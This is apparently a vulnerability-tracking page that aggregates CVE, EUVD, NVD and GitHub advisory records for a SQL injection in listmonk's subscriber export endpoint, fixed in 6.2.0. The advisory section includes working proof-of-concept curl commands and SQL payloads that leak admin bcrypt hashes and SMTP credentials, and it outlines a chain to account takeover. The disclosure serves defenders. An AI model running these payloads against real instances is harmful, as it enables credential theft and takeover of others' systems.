listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-62361
Publishedlistmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
- Source published
- 15 Jul 2026 20:56:45 UTC
- Source modified
- 16 Jul 2026 15:12:24 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
euvd · EUVD-2026-44815
Publishedlistmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 6, 2026, 6:15:17 PM
dateUpdated: Nov 6, 2026, 6:15:17 PM
- Source published
- Nov 6, 2026, 6:15:17 PM (timezone not stated)
- Source modified
- Nov 6, 2026, 6:15:17 PM (timezone not stated)
- Observed here
- 6 Nov 2026 19:05:42 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
nvd · CVE-2026-62361
Publishedlistmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-89
Original publisher date fields
published: 2026-07-15T21:16:55.933
lastModified: 2026-10-24T21:10:00.130
- Source published
- 15 Jul 2026 21:16:55 UTC
- Source modified
- 24 Oct 2026 21:10:00 UTC
- Observed here
- 6 Nov 2026 19:05:15 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
osv · GHSA-xgjr-7j9q-2h4r
Published### Summary A SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover. --- ### Details The subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control. **`internal/core/subscribers.go` — protected path (regular query):** ```go // QuerySubscribers — table validation present stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond) if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil { return nil, 0, echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Error preparing subscriber query: %v", err)) } ``` **`internal/core/subscribers.go` — vulnerable path (export):** ```go // ExportSubscribers — NO table validation stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond) tx, err := c.db.Preparex(stmt) // executes directly without restriction ``` **`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:** ```sql SELECT subscribers.id, subscribers.email, ... FROM subscribers LEFT JOIN subscriber_lists ON ... WHERE (subscribers.status != 'blocklisted') AND %query% ORDER BY subscribers.id ASC LIMIT ... ``` Because the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration. --- ### PoC **Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions. **Step 1 — Confirm the bypass (blocked on query, open on export):** ```bash # Blocked on regular endpoint: curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSION_TOKEN" # → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"} # Bypassed on export endpoint: curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSION_TOKEN" # → HTTP 200: returns subscriber rows with no error ``` **Step 2 — Error-based exfiltration of admin password hash:** ```bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSION_TOKEN" ``` Response: ```json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\"" } ``` **Step 3 — Error-based exfiltration of SMTP credentials:** ```bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSION_TOKEN" ``` Response: ```json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\"" } ``` **Step 4 — Time-based blind confirmation:** ```bash time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \ -H "Cookie: session=SESSION_TOKEN" # Returns after ~3 seconds — confirms arbitrary SQL function execution ``` --- ### Impact This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can: - Read bcrypt password hashes of all admin accounts (including Super Admin) - Extract SMTP credentials, API keys, and all values stored in the `settings` table - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover - Execute data-modifying SQL via PostgreSQL CTEs (write impact) **Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise. This finding is **distinct** from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
- Source published
- 6 Nov 2026 18:15:17 UTC
- Source modified
- 6 Nov 2026 18:30:03 UTC
- Observed here
- 6 Nov 2026 19:05:05 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
Publisher rating · MODERATE